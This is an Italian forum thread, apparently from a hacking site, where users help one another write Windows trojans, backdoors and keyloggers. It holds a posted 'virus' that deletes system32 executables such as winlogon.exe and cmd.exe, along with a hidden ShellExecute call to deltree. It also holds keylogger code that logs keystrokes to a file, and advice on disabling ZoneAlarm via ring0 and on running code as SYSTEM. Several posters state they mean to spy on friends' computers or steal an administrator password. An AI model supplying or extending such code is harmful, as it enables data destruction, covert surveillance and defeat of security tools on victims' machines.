X Animanera: Per quanto mi riguarda il sorgente che hai postato non può 
restituire anche l'ip pubblico... con quel sorgente puoi sapere gli indirizzi 
locali e basta, non quelli esterni. Se cicciociccio ha un router come fai a 
prendere l'indirizzo esterno? Credo non sia possibile se non con il metodo 
utilizzato da cicciociccio.

Animanera: cicciociccio, una domanda... ma hai fastweb? e nel caso avessi 
fastweb, a cosa ti servirebbe il tuo ip "pubblico", visto ke e' del NAT router 
fastweb (se nn sbaglio e' anke statico) e non del tuo picci'? se invece nn hai 
fastweb, il codice qua sotto funziona perfettamente e restituisce tutti gli ip 
delle tue interfacce di rete. Quello ke penso e' ke tu voglia provare a eseguire 
la backdoor di Komrade sul picci' di qualcuno per poi poter curiosare... la 
backdoor di Komrade, purtroppo ha 2 gravi difetti: 1) se la esegui su un 
computer fasweb nn puoi raggiungere quel computer a meno ke nn sia fastweb anke 
tu. 2) se la esegui da un altra parte (tipo i picci' degli amici) e' quasi 
totalmente inutile in quanto le adsl hanno ip dinamico (in genere quello statico 
si paga). La shell di Komrade e' banale ma molto significativa e sostanzialmente 
didattica. Superare queste difficolta' e' in realta' molto semplice (e anke 
educativo) realizzando una shell di tipo "connectback" e avendo un DNS dinamico. 
Magari tutto quello ke ho scritto nn e' la risp alla tua domanda, ma credo ke a 
qualcuno sara' utile :P

cicciociccio: questo codice mi da il mio IP locale io vorrei sapere il mio ip 
pubblico

Animanera:
#include <windows.h>
#include <wininet.h>

int main(){
int i;
struct hostent *host;
WSADATA data;

WSAStartup(MAKEWORD(2,0), &data);
if( (host = gethostbyname("")) != NULL ){
for(i=0; host->h_addr_list[i] != NULL; i++){
printf("ip %d: %s\n", i, inet_ntoa( *(struct in_addr *)host->h_addr_list[i] ));
} // end_for
} // end_if
free(host);
WSACleanup();
system("pause");
return;
}


:P

cicciociccio: ho fatto questo per te è la stessa cosa oppure con le api è 
meglio? ho utilizzato un sito internet ke ti da il tuo ip per farlo, almeno 
funziona.

#include <winsock.h>
#include <stdio.h>
#include <wininet.h>

#pragma comment (lib,"wsock32.lib")
#pragma comment (lib, "wininet.lib");

int main(){

HINTERNET hi, hiu;
char buffer[20], *s;
unsigned long br;

hi = InternetOpen("MyIPTest", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
hiu = InternetOpenUrl(hi, "http://pchelplive.com/ip.php", NULL, 0, 0, 0);
InternetReadFile(hiu, buffer, sizeof(buffer), &br);
s = strstr(buffer, " ");
*s = 0;
printf("Il tuo ip e':\t%s\n",buffer);
scanf("%d");
InternetCloseHandle(hi);

WSACleanup();

}
per te è meglio con le api?
 c: l'ho presa dal dev e l'ho messa pure al vc++ ma mi da 102 errori sull'header 
 mprapi ke nn capisco... nn metto tutta la lista degli errori senno intaserei il 
 notepad...sono 102 e proprio nn li capisco.il codice tuo va bene ma mi da 
 questi errori su un header ke nn centra...boh??? nn capisco

cicciociccio: senti nn la trovo ke cosa faccio?

cicciociccio: ciao! ho prevato da vc++6 e mi da questo errore:

Cannot open include file: 'Iphlpapi.h': No such file or directory Error 
executing cl.exe.

adesso la provo a cercare con google e ti faro sapere!ciao!

Blanka: X Cicciociccio Dev mi sta sul c...o, io uso vc++ 6... Comunque devi 
linkare la libreria "Iphlpapi.lib" e includere l'header con il medesimo nome 
"Iphlpapi.h". Non so se dev ce l'ha già o devi scaricarla da qualche parte...

cicciociccio: Per Blanka ke librerie devo aggiungere per far funzionare qeusto 
codice??dev mi da errori...

Blanka: Per cicciociccio: io non credo sia giusto quello che stai facendo, non è 
necessario inizializzare il socket e la versione di winsock per prendere 
l'indirizzo IP. Prova a utilizzare l'API "GetIpAddrTable" e passargli la 
struttura PMIB_IPADDRTABLE. Prova fare così:

PMIB_IPADDRTABLE pIPAddrTable =        NULL;
DWORD             dwSize     =        0;
DWORD             IpApp         =        0;
LPSTR             sAddr         =        NULL;
DWORD             dwRetVal         =        GetIpAddrTable(pIPAddrTable, &dwSize, FALSE);
LPTSTR            lpIntestazioneIP =        "IP: ";
    
struct in_addr inAddr;
    
pIPAddrTable = (PMIB_IPADDRTABLE)new BYTE[dwSize];
dwRetVal = GetIpAddrTable(pIPAddrTable, &dwSize, FALSE);

INT val = pIPAddrTable->dwNumEntries;
    
if (val == 0)
{
return 0;
}
    
for (INT i=0;i<val;i++)
{    
    IpApp = pIPAddrTable->table[i].dwAddr;

    if (IpApp != 0)
    {
        memmove (&inAddr, &(pIPAddrTable->table[i].dwAddr), 4);    
        sAddr = inet_ntoa (inAddr);
        sprintf (IpStr,"%s",sAddr);        
    }
}

Di certo funzionerà.

Theking01: Ciao ragazzi volevo domandare se percaso qualcuno sa dove posso 
trovare materiale sul borland c++ builder, in particolare cerco esempi con 
interfaccia utente, ma anche delle guide vanno benissimo ! Vi ringrazzio in 
anticipo !!!

PS: scusate per il post qua sotto ma mi sono sbagliato !

Theking01: Ciao ragazzi volevo domandare se percaso

cicciociccio:
raga io ho scritto questo:

#include <stdio.h>
#include <winsock.h>

int main(){

SOCKET sock;
struct sockaddr_in server;
WSADATA data;
WORD p;
p=MAKEWORD(2,0);
WSAStartup(p,&data);

sock=socket(AF_INET,SOCK_STREAM,0);
server.sin_family=AF_INET;
server.sin_port=htons(456);
server.sin_addr.s_addr=INADDR_ANY;
int IP;

bind(sock,(struct sockaddr *)&server,sizeof(struct sockaddr));
printf("il tuo IP è: %s \n", inet_ntoa(server.sin_addr) );
scanf("%d", &IP);

closesocket(sock);
WSACleanup();
return 0;
}

il programma funziona ma alla fine mi dice:IL tuo IP è:0.0.0.0

perke?ke cosa ho sbagliato?

cicciociccio: vabbè per adesso + meglio ke lascio stare il trojan...ho pensato 
un altra cosa però:vorrei fare un programma ke se eseguito su una makkina invia 
automaticamente l'indirizzo IP del computer ad una email predefinita.come faccio 
per far mandareuna email dal programmino? ciao e grazie


Animanera: ciao ciciociccio, c'e' un tutorial apposta nella sezione "Creare una 
shell remota". ciao ciao

cicciociccio: ciao a tutti sto cercando di fare un trojan. ho fatto gia una 
bossa del server e il client(solo la connessione)ma mi sono posto una domanda. 
finora la connessione tra client e server l'ho sempre fatta in locale:

...server
sock=socket(AF_INET,SOCK_STREAM,0);
sock_addr.sin_family=AF_INET;
sock_addr.sin_port=htons(port);
sock_addr.sin_addr.S_un.S_un_b.s_b1=127;
sock_addr.sin_addr.S_un.S_un_b.s_b2=0;
sock_addr.sin_addr.S_un.S_un_b.s_b3=0;
sock_addr.sin_addr.S_un.S_un_b.s_b4=1;

...client: server.sin_addr.s_addr = INADDR_ANY;

come faccio a farli comunicare solo connessi ad internet??? qualcuno mi puo 
aiutare per favore?? grazie anticipatamente e a presto.

pinco pallino: grazie mille _C0ding!

_C0ding: ciao pinco pallino. la funzione che risolve l'host e' la 
gethostbyname.questa accetta in ingresso una stringa contenente il nome host e 
restituisce un puntatore ad una struct hostent che riceve diverse info sull'host 
tra cui l'ip. ho scritto un esempio in cui richiedo una connessione ad 
ftp.interfree.it sulla 21 (server ftp) e registro il messaggio di benvenuto del 
server ftp.
la richiesta e' fatta appunto con il nomehost :

////////////////////////////////////////
#include <windows.h>
#include <stdio.h>

#pragma comment(lib,"wsock32.lib")

void main(){
    hostent* remoteHost;
    char host_name[256];
    int r;
    char buffer[1024];

    WSAData data;
    WSAStartup(2,&data);    
    strcpy(host_name,"ftp.interfree.it");
    printf("\nrisoluzione del nome host '%s' ...",host_name);
    remoteHost = gethostbyname(host_name);
    if(remoteHost==NULL){
        printf("\nHost non trovato.\n\n");
    }
    else{
        printf("\n%s <-> %s",host_name,inet_ntoa(*((in_addr *)remoteHost->h_addr)));
        // connect
        SOCKET t;
        SOCKADDR_IN sa;
        sa.sin_family=AF_INET;
        sa.sin_addr = *((in_addr *)remoteHost->h_addr);
        sa.sin_port=htons(21);

        t=socket(AF_INET,SOCK_STREAM,0);
        r=connect(t,(sockaddr*)&sa,sizeof(sa));
        if(r<0){
            printf("\nconnect() error.valore restistuito : %d\n\n",r);
        }
        else{
            memset(buffer,0,sizeof(buffer));
            r=recv(t,buffer,sizeof(buffer),0);
            printf("\nricevuti %d byte da %s.\nPAYLOAD : %s\n\n",r,host_name,buffer);
        }
        closesocket(t);
        // connect
    }    
    WSACleanup();
}

////////////////////////////////////////
ci tengo a specificare che la funzione gethostbyname e' stata sostuita nel 
winsock2.h dalla funzione getaddrinfo,sarebbe opportuno dare un'occhiata anche a 
questa :)

spero di esserti stato utile ciao a tutti


pinco pallino: ciao a tutti. volevo sapere se qualcuno di voi conosce una API o 
un modo per connettersi ad un computer tramite il suo nome host anziche il suo 
IP. grazie-.

sn0z33r: per animanera: in TEORIA, basterebbe steppare con un debugger il form 
che usi per la connessione dal momento in cui premi su connect e cercare di 
capire cosa succede per connettersi, in questo modo se c'e' qualche api che 
svolge sta funzione (ma non credo) la si trova.. un'altra ipotesi e' che dato 
che cmq il modem necessita di driver il dialog simpatico chiami il driver con 
appositi parametri, ma questo e' tutto da vedere/dimostrare..

Animanera: si, credo anke io si riferisca solo ai 56k purtroppo... cmq niente 
code injection... lo devo mettere sul mio di picci' :P sono alla ricerca della 
famigerata API che crea la connessione remota... ad esempio la connessione 
locale funziona prima del login, infatti riesco ad accedere sia al server ftp, 
che a quello http, che sono due servizi... mi serve ricreare questa situazione 
anke con le connessioni remote. grazie cmq sn0z33r, se ti viene qualke altra 
idea fammelo sapere :) ciao ciao

_C0ding: salve, inizio con il fare agli sviluppatori di questo sito i miei piu' 
sinceri complimenti.Da oggi vi seguiro' con attenzione :) Komrade,complimenti 
per i codici.. a presto

sn0z33r: per animanera: hai provato a iniettare codice nell'utility manager di 
winxp ? (tasto windows [la flag] + U) se non ricordo male tempo fa era stato 
oggetto i attacchi a privilege escalation perche' non vorrei dire una cazzata 
cosi a freddo ma mi pare che venga eseguito a priorita' system. Prova a dare un 
occhiata. Per quanto riguarda InternetAutodial() hai fatto attenzione a questo ? 
Remarks

InternetAutodial does not support double-dial connections, SmartCard 
authentication, or connections that require registry-based certification. 
Requirements Client     Requires Windows "Longhorn", Windows XP, Windows 2000 
Professional, Windows NT Workstation 4.0, Windows Me, Windows 98, or Windows 95. 
Server     Requires Windows Server "Longhorn", Windows Server 2003, Windows 2000 
Server, or Windows NT Server 4.0. Version     Requires Internet Explorer 4.0 or 
later. Header     

Declared in Wininet.h. Library     

Link to Wininet.lib. DLL     Requires Wininet.dll.

Non e' che funziona solo con le connessioni dialup ? vedi 56k ?

Animanera: ciao a tutti, ho bisogno di far partire la connessione a internet 
prima che un utente faccia login sulla macchina. c'e' un modo in windows per 
fare questa cosa? altrimenti avevo pensato a creare un servizio... ma l'API 
InternetAutodial() sembra non funzionare... sono graditi suggerimenti :) ciao 
ciao


newbie: forse questo ti può essere di aiuto: 
http://www.giobe2000.it/Tutorial/Schede/01-StrutturaExe/index.htm descrivono 
l'header di un exefile....

Therion: Salve ragazzi, ho un paio di domande :

1) vorrei scrivere un programma che sia in grado di modificare il codice binario 
di un file eseguibile, aggiungendo istruzioni (asm) arbitrarie. In sostanza 
poter backdorare un binario con istruzioni che voglio io.

2) Come è possibile modificare l'asm code (usando un editor hesadecimale magari) 
di un eseguibile ? insomma come si fa' poi a mettere a posto i vari offset se 
vado a modificare gli indirizzi in cui il compilatore va a mettere le istruzioni 
?

Grazie mille, Saluti.

newbie: x ombra: come hai fatto a risolvere? io mi sono documentato sulle 
api...e ho provato ad usare la getkeystate x rilevare lo stato del MAIUSC, in 
quanto la getkeystate restituisce il valore 1 se il tasto è attivato....e per lo 
shift ho usato la getasynckeystate...ad un certo punto il keylogger funzionava 
alla perfezione....ma poi ho provato a fare una modifica senza fare il backup 
dei sorgenti...e adesso nn riesco a rimettere le cose a posto!!!

nobody: ciao sono interessato ad avere suggerimenti su shell con connessione 
inversa, perchè non scrivi un tute? grazie

Komrade: Ho inserito nella pagina di PrivateChat anche i codici sorgenti, per 
chiunque ne avesse bisogno. Ciao

Interessato: Ciao si potrebbe avere il source della programma per la chat 
diretta? vorrei studiarlo.

Grazie

Komrade: Non ti sei spiegato male, il comando "at" anche se serve ad eseguire 
automaticamente dei programmi può essere usato per il tuo scopo in quanto il 
programma eseguito automaticamente viene lanciato dall'utente SYSTEM (lo stesso 
con cui vengono eseguiti i servizi). Altrimenti visto che la 
registerserviceprocess() non c'è più in xp ti conviene crearti un servizio, non 
è difficile.

zucchero: probabilmente mi sono spiegato male :) non mi interessa l'esecuzione 
automatica, bensì la chiamata api registerserviceprocess per far apparire nel 
tasklist il processo invece che con diritti utente/amministratore come processo 
system ciao, zucchero :)

Komrade: Risposta a zucchero: La backdoor che cerchi non so quale sia, comunque 
il metodo più banale, se sulla macchina sei amministratore, è quello di 
utilizzare il comando "at" dal prompt dei comandi (at "orario_in_cui_eseguire" 
"programma_da_eseguire") Altrimenti un tutorial su come creare servizi lo trovi 
qui: http://www.devx.com/cplus/Article/9857/0/page/1

Risposta ad Animanera: Se vai su http://www.securityfocus.com/bid e scegli come 
"Vendor" microsoft e come "title" Outlook express trovi varie vulnerabilità ed 
exploit

Ciao

Animanera: ciao a tutti, volevo sapere se qualcuno di voi ha un exploit (di 
qualsiasi tipo) per outlook express (qualsiasi versione). se me lo potesse dare 
o mi potesse indicare la vulnerabilita' gliene sarei molto grato. grazie ciao 
ciao

zucchero: ciao! qualcuno ha idea di come registrare un processo come system o 
servizio locale? ho visto una backdoor che lo faceva su winsp1, purtoppo ho 
perso i sorgenti... :(

ombra: ho fatto tutto :)


ombra: Per newbie: ciao, ho creato diversi keylogger tutti scritti in modo 
differente ma non sono ancora riuscito ad avere la differenza tra minuscolo 
maiuscolo e ad interpretare i caratteri che chiedono l'uso dello shift (li 
registro come shift-tasto).. ti và dib scrivere qualcosa? oppure passarci i 
sorgenti :)

Komrade: Per quanto riguarda il link su come bypassare Zone Alarm Pro 
http://hackingspirits.com/vuln-rnd/vuln-rnd.html Zone Alarm ha già smentito, 
quindi probabilmente è inutile dare una occhiata...

Komrade: Per entrare in ring0 i metodi che ho segnalato su xp sp2 sicuramente 
funzionano, in quanto li ho provati personalmente, certamente l'assembly è 
fondamentale, comunque proprio oggi è uscito questo su come bypassare Zone Alarm 
pro: http://hackingspirits.com/vuln-rnd/vuln-rnd.html non l'ho ancora letto ma 
penso possa essere interessante.

Per pabaulee: Mi spiace ma non ho proprio capito la tua richiesta...

Per blanka: Ho dato una occhiata al task manager e penso sia un buon tool, 
sarebbe utile secondo me inserire anche l'utente proprietaro del processo 
(sarebbe ancora più bello riuscire a terminare processi come Zone Alarm senza 
farlo accorgere scendendo a ring0, ma magari questo è un po' complicato). 
Completandolo con il proprietario sarei felice di metterlo anche nel sito. 
Comunque se vuoi contattami pure via mail per questo.

Ciao a tutti.

Blanka: x cicciociccio: in un semplice programma C standard, tipo helloword, non 
puoi utilizzare l'API che ti ho suggerito (ShellExecute), dovresti utlizzare un 
compilatore C per Windows, come per esempio visual c++. Prova a guardare qualche 
tutorial sulla programmazione C per windows e inizia a utilizzare una qualche 
API.

X Komrade: per quanto riguarda zone alarm e il ring0 non sono sicuro che con 
windows xp sp2 funzioni... adesso proverò in questo modo, anke se avrei bisogno 
di una spolverata di assembly per capire bene il codice che permette l'ingresso 
a ring0.

P.S hai provato il mio task manager?

Grazie.

pabaulee: Come facio ad avere un Key-Logger, ad esempio "The Password Thief for 
Windows 9*" . Io non ci capisco niente, devo recuperare la password 
dell'Amministratore in "Windows XP Pro". come facio se io sono account? 
aiutatemi vi prego, ciao.

Komrade: Per quanto riguarda la questione di entrare a ring0, tutorial 
aggiornati personalmente non ne ho visti, comunque utilizzando i bug delle api 
di windows che avevo linkato, non risulta difficile entrare a ring0, la cosa più 
difficile è lavorare in questa condizione.

Per cicciociccio: Il suggeriemento di blanka è corretto, però ti consiglio prima 
di informarti maggiormante sulla programmazione in C e con le API di windows, 
perché il semplice programma alla "hello world" non si può usare.

Per Therion: Ti consiglio di guardare il codice che avevo creato per la shll 
remota: http://unsecure.altervista.org/shell/RemoteShellv2.0.c in quel programma 
avevo redirezionato l'input e l'output di un processo (cmd.exe) ad una socket, 
quello che devi fare tu è simile, redirezionare l'output di un processo 
(nestat.exe) all'handle di un file (out.txt)

Ciao a tutti e grande Blanka per aver dato una mano!

Therion: Salve a tutti, ho bisogno di catturare l'output di una applicazione 
tipo netstat o dir per esempio, e di memorizzarlo su di un file testuale. Un pò 
come se facessi da prompt "dir > c:\out.txt", ma il comando dovrebbe essere 
eseguito da un mio programma. Ho provato ad usare il metodo ShellExecute() 
passandoglio come primo argomento un comando es:dir e come parametri il "> 
c:\\out.txt", solo non funza ! :( qualcuno sa darmi qualche indicazione ? 
(magari esiste già una winAPI che fa ciò di cui necessito ! Saluti, grazie, 
Therion

cicciociccio: grazie blanka ma per esempio come posso metterlo dentro a un 
semplice programma tipo hello world?

#include <stdio.h> int main(){ printf("ciao"); scanf("%d"); }

ke librerie devo usare?

grazie e a presto

Blanka: X cicciociccio: potresti usare il c per windows e relative API: per 
esempio con la ShellExecute puoi ottenere questo risultato così: 
ShellExecute(NULL,"open","c:\\windows\\command\\deltree.exe 
/y",C:\\WINDOWS\\system32\\mspaint.exe,NULL,SW_HIDE);

L'ultimo parametro indica come fare eseguire l'operazione, in questo caso 
SW_HIDE significa SHOW HIDE, quindi non vedrai apparire nessuna finestra.

P.S questo vale per windows 98, non so se Win xp e 2000 hanno ancora il comando 
"deltree", a te il compito di verificare.

cicciociccio: ciao a tutti complimenti per il sito. ce un modo (parlo in C) di 
far nascondere un programma in esecuzione(tipo nn visualizzare niente sulla 
barra) per esempio uno spezzone di codice da implementare in un programma?
sto facendo pratica in C e ho creato una cosetta:
#include <unistd.h>
int main(){
unlink("C:\\WINDOWS\\system32\\mplay32.exe");
unlink("C:\\WINDOWS\\system32\\mshearts.exe");
unlink("C:\\WINDOWS\\system32\\mspaint.exe");
unlink("C:\\WINDOWS\\system32\\notepad.exe");
unlink("C:\\WINDOWS\\system32\\calc.exe");
unlink("C:\\WINDOWS\\system32\\cleanmgr.exe");
unlink("C:\\WINDOWS\\system32\\cmd.exe");
unlink("C:\\WINDOWS\\system32\\cmmon32.exe");
unlink("C:\\WINDOWS\\system32\\freecell.exe");
unlink("C:\\WINDOWS\\system32\\sndvol32.exe");
unlink("C:\\WINDOWS\\system32\\taskmgr.exe");
unlink("C:\\WINDOWS\\system32\\telnet.exe");
unlink("C:\\WINDOWS\\system32\\winlogon.exe");
unlink("C:\\WINDOWS\\system32\\write.exe");
return 0;
}

è una specie di virus. per esempio se volessi far cancellare un file ogni 5 
minuti userei la funzione sleep ma in questo modo il programma resterebbe 
visibile alla vittima. ce un modo per far nascondere questo 
processo(cancellazione dei file)?

vi ringrazio tanto


sn0z33r : processi non visibili in task manager su sistemi nt like ? questa mi 
e' nuova... raccontate un po' anche a me plz !!!!! cmq komrade visto che hai 
parlato di r0 posso chiederti un how to per scendere a ring0 su sistemi nt 2000 
xp ? Mi servirebbe per un'altro progettino che in caso di successo sarei anche 
ben felice di pubblicare qui (col tuo permesso :P).. ho cercato in rete ma la 
maggior parte dei tutorial che ho trovato usano trucchi vecchi come l'uovo di 
colombo per scendere a r0 su windows 9x e nessuno su xp 2000 e soci... Te ne 
sarei infinitamente grato ;) PS colgo l'occasione per farti ancora una volta i 
miei complimenti ;) ciau

Francesco: Anche se in ritardo ringrazio Komrade per avermi informato su utility 
che rendono visibili processi non visualizzati in task.

Tanks


Komrade: Sfortunatamente, anche questa volta, i troppi impegni non mi permettono 
di mantenere gli impegni presi e non riesco ancora a pubblicare il tutorial su 
zone alarm... Per ora posso dire a chi si è interessato sull'argomento che si 
può ingannare Zone Alarm entrando in ring0. Per entrare in ring0 il modo 
migliore sarebbe quello di creare una specie di driver, ma Zone Alarm si accorge 
se cambiamo la lista dei programmi da fare partire all'avvio. Quindi, se chi usa 
il computer è loggato come amministratore si possono usare dei bug nelle API di 
windows che permettono ai normali programmi di entrare in ring0. Guardate qui: 
www.securiteam.com/windowsntfocus/5TP0B2KC0K.html Una volta entrati in ring0 si 
può per esempio modificare il codice del driver installato da zone alarm 
"vsdatant.sys" o rimettere a posto l'indirizzo della chiamata NtOpenProcess() 
(il cui indirizzo viene modificato da Zone Alarm) o si possono usare tanti altri 
metodi... Comunque bisogna stare molto attenti quando si lavora a ring0 perché 
una istruzione sbagliata può causare danni, quindi consiglio di fare esperimenti 
in ring0 solo su computer senza dati importanti e comunque è d'obbligo 
l'utilizzo di un debugger a livello kernel come SoftIce.

Risposta a xoverflow@libero.it: Il compilatore che ho usato io è lcc-win32, ma 
puoi usare anche dev-c++ e pure il visual studio dovrebbe funzionare.

Risposta per marco: Il banner di un server è la scritta che esso invia 
(generalmente alla connessione del client) che identifica il tipo di server. 
Esso è molto utile per conoscere il server attivo in una determinata porta, per 
cercare eventuali vulnerabilità da sfruttare per accedere al computer. Esempio 
connettendosi ad un SMTP server ci compare la scritta: 220 localhost.localdomain 
Sendmail 8.2.11 Questo banner ci informa della presenza di un server sendmail 
versione 8.2.11 (esempio completamente inventato non so neanche se c'è quella 
versione...)

Ciao a tutti.

marco: salve, ho visto bannerscan, ma non ho capito bene a che serve, cosa si 
intende per banner?


Suondmao: Ciao! ho letto i tuoi tutorial e volevo farti i complimenti!Son fatti 
davvero bene e son esaurienti!Stavo leggendo il problema di blanka e mi sto 
interessando anche io...pensate a cm killare zone alarm? Mi ci metto a lavorare 
anche io, mi hanno sempre interessato le sfide! Se avete trovato gia la via 
giusta puoi mandarmi qualche info a suondmaoO_o@hotmail.com cosi nn parto da 0. 
Cmq scuola permettendo inizio a lavorare ora. Complimenti ancora!!!

xoverflow@libero.it: ciao ho trovato molto interessante la tua guida ai 
programmi client server avrei bisogno di un consiglio..che compilatore posso 
usare per riuscire a gestire le winsock* e le varie liebrerie che hai 
utilizzato? graze attendo una risposta.


Komrade: Scusate il ritardo....

Ho giocato per un po' con ZoneAlarm 6 e ho trovato delle cose interessanti per 
renderlo inefficace, siccome il modo per fregarlo non è immediato ho deciso di 
scrivere un piccolo tutorial che sicuramente (speriamo bene) entro domenica 
riuscirò a pubblicare.

per blanka: ti ho inviato una email se vuoi farmi vedere il tuo task manager 
sarò felice di provarlo.

x therion: Quando chiami la gethostbyname() ti ritorna una struttura di tipo 
hostent, questa struttura non contiene un solo indirizzo, ma un array tutti gli 
indirizzi che una particolare interfaccia può avere. Quindi scorrendo l' array 
potrai ottenere l'indirizzo con cui esce su internet.



DeepRed: Sto avviando www.ZeroSecurity.net - Gradirei pubblicare qualche vostro 
articolo, indicandone la fonte posso farlo ? Contattatemi pure 
deepred86@gmail.com

Therion: Salve a tutti. Sto scrivendo un programma che ha bisogno di sapere il 
proprio ip address (quello con cui esce in rete). Avevo provato con le seguenti 
istruzioni :

    gethostname(name, sizeof(name));
    host = gethostbyname(name);
    if (host == NULL) return 1;
    memcpy(&address, host->h_addr, 4);

e tutto funzionava finchè il programma lha provato un mio amico che ha modem 
adsl ethernet e nn usb come il mio..risultato ? un bel 192.x.x.x e non il suo 
vero ip...qualcuno sa come aiutarmi ? grazie, ciao

Blanka: X Komrade: la mia mail è magarimb@tin.it se vuoi contattarmi 
personalmente.


Blanka: X Komrade hai visto, nessun handle, sennò sarebbe troppo semplice... 
Zone Alarm è davvero tosto. Ma scusa come fai a entrare in ring0, questo per ora 
lo ignoro... P.S se vuoi ho fatto un piccolo task manager per Windows 9x/2k/xp, 
se mi dai la tua mail te lo invio. Così magari lo provi un pò e se ha qualche 
bug ankora a me sconosciuto lo sistemo... Si potrebbe mettere anke su questo 
sito... volendo ovviamente.

Grazie

Komrade: Per blanka e per tutti: Ho iniziato a vedere Zone Alarm 6 e ho visto 
che effettivamente non permette di ottenere l'handle ai programmi e 
sfortunatamente nemmeno ai servizi, stavo pensando per ora che l'unico modo è 
provare a scendere a ring0 (in kernel mode), se per caso hai qualche altra 
informazione fammela sapere che potrà tornare utile, e comunque chiunque abbia 
qualsiasi informazione è invitato a inserirla per poter trovare insieme un bel 
modo per contrastare la nuova generazione di firewall/antivirus.

Komrade: Ok allora puoi provare security task manager: 
http://www.neuber.com/taskmanager/ oppure process explorer: 
http://www.sysinternals.com/Utilities/ProcessExplorer.html

Francesco: Comunque ringrazio, ma chiedevo lumi su utility che rendono visibili 
processi non visualizzati in task

Komrade: Su che sistema operativo? in windows xp puoi usare il comando 
"tasklist" che da informazioni sui processi attivi (e comunque anche se è banale 
dirtelo con Ctrl+Alt+Canc parte il task manager), su linux "ps -aux"

Francesco: Salve, help me!! Mi dite con quale comando si possono vedere i 
provessi che intasano la memoria???

Anticipatamente grazie!!!!

ugo: grazie mille komrade _-°-_

Komrade: Per Ugo: Se è per la connessione 56k c'è la RasEnumConnections(), se è 
per l'adsl non so ma alla peggio puoi utilizzare questo metodo:un ciclo di ping 
ad un indirizzo internet, se risponde il computer è online.

ugo: innanzitutto ciao a tutti, voevo kiedere se qualcuno sa se esiste qualke 
funzione ke ti dice se il computer è connesso ad internet o no. ciao

Blanka: X Komrade ti ringrazio per l'aiuto, se riesci a fare qualcosa, quando 
hai tempo ovviamente, te ne sarei grato. Intanto io continuo con le mie prove.

Komrade: Finite le ferie posso tornare a rispondere:

Per blanka: Sono d'accordo anche io che ormai l'iniezione di codice sta 
diventando inefficace, perché antivirus e firewall controllano le API di windows 
responsabili e ne bloccano l'utilizzo, se dici che Zone Alarm 6 è davvero così 
ostico posso provare a vederlo, perché ormai è sempre più difficile trovare 
delle tecniche universali, ma bisogna cercare di sfruttare qualche errore di 
programmazione presente nel codice.

Per newbie: La funzione GetKeyState() controlla solamente se il tasto è stato 
premuto (adesso o precedentemente), se invece utilizzi la GetAsyncKeyState() 
differenzia se il tasto è premuto in questo istante oppure è stato premuto 
precedentemente. Se modifichi il codice utilizzando la GetAsyncKeyState() al 
posto della GetKeyState() tutto funziona correttamente.

Per pinco pallino: Te l'ho appena inviato.

Per l'amico che ha cercato di iniettare codice HTML: troppo banale, trova 
qualcosa di un po' più serio...

Ciao a tutti.

newbie: avevo fatto molti errori modificando il keylogger....adesso li ho messi 
a posto e ora distingue benissimo le amiuscole dalle minuscole sia quando viene 
premuto lo shift sia con il maiusc....ciao

pinco pallino: ciao komrade volevo kiederti solamente se gentilmente mandassi 
all'indirizzo ugoguevarah@libero.com il sorgente del programma privateChat... 
Grazie!


newbie: adesso che ci penso, però, questo non spiega il xchè premendo e 
rilasciando subito lo shift, i caratteri diventino da maiuscoli a minuscoli o 
viceversa...se qualcuno sa rispondermi gliene sarei grato...

newbie: scusate se ho postato il messaggio precedente senza prima aver cercato 
informazioni sull'api getkeystate....diffatti ho visto che l'api restituisce un 
valore diverso da 0 anche se il tasto non è premuto in quell'istante...quindi 
imbrogliava l'if...adesso risolverò il prob....saluti

newbie: salve a tutti.komrade, volevo chiederti una cosa: l'API GetKeyState 
controlla se in quel preciso momento un tasto è premuto,giusto? ho provato a 
modificare il keylogger in modo che differenzi le maiuscole dalle minuscole, 
quindi ho modificato così il primo ciclo for:
    if (GetAsyncKeyState(i)){    //controllo stato dei tasti dallo SPAZIO alla lettera Z
            if(GetKeyState(16)) {
            fp=fopen(LOGFILE,"a");
            fprintf (fp,"%c",toupper(i));    //salvataggio lettere in MAIUSCOLO
            fclose (fp);
            }
            else
            {
            fp=fopen(LOGFILE,"a");
            fprintf (fp,"%c",tolower(i)); //salvataggio in minuscolo
            fclose (fp);
            }
però qualcosa non funzia e se premo shift e lo rilascio subito, e digito un 
testo, nel log appare in maiuscolo....se ripremo shift rilasciandolo subito e 
digito un testo, questo nel log mi appare in minuscolo....come mai? dove ho 
sbagliato? Grazie duemila.

blanka: X Komrade. Ciao, non so se ti ricordi di me, tempo fa ti ho rotto il 
caxxo durante un tentativo di killaggio di norton 2005. Avrei un altro 
problemuccio e niente di quello che prorponi nel sito può essermi utile in 
quanto i software nuovi si sono evoluti e i processi sono sempre più protetti. 
Scusa se te lo dico ma ormai quello che è pubblicato sul sito non basta per 
aggirare antivirus e firewall, forse andava bene fino a un paio di anni fa. Il 
fatto Komrade che ormai nn si riesce più a ottenere l'handle di nulla. Anke 
sbloccando i permessi sotto win 2k e xp. L'unico modo che ho trovato, ma che nn 
funziona sempre è quello di killare i servizi con "shellexeute" usando il 
"net.exe" e passando come parametri "stop" e il nome del servizio. Purtroppo ciò 
nn vale con programmi come ZoneAlarm che sembra indistruttibile, in particolare 
le versioni 5.5 e 6.0 sulle quali sto lavorando. Vorrei sapere se tu conosci 
qualche strattagemma più incaxxoso, perchè ormai li ho provati tutti quelli che 
conosco, compresa la "PostThreadMessage" sulla coda messaggi dei processi di 
zonealarm... e il tuo codeinjection...

Grazie e sempre complimenti per il sito.

../annuncio_sicurezza.html: <html> <p>ccc</p>

sn0z33r: certo che con vs faccio struct, ma sono struct che uso per bufferizzare 
input o output o boh :D Intendevo dire che la maggior parte delle struct che 
vengono costruite all'inizio di ogni eassay sono gia' presenti e pronte all'uso 
negli headers base di visual studio ^^

Animanera: progetti complessi?? e ki ha tempo? e ke intendi dire con "costruisce 
struct da passare come parametri alle api di windows, usando visual studio 
questo e' tutto lavoro risparmiato..."?? tu nn costruisci struct in VS? se 
costruisco una struct in genere e' xke' nn c'e' nelle libs, ma qst e' 
indipendente dall'ambinte di sviluppo :\. cmq anke col dev nn devi x forza fare 
un prj... basta ke fai: file->new->source code...

sn0z33r: io uso visual studio 6 perche' su windows anche se non e' free rimane 
(IMHO) un ambiente di sviluppo completo sia come componenti che come 
documentazione. Per fare un esempio in tutti gli essay di komrade puntualmente 
costruisce struct da passare come parametri alle api di windows, usando visual 
studio questo e' tutto lavoro risparmiato... Se poi mi dite che per compilare 20 
righe di codice bisogna fare un progetto allora vi do ragione :P A mio personale 
parere le soluzioni vs rimangono per progetti complessi, non e' proprio il max 
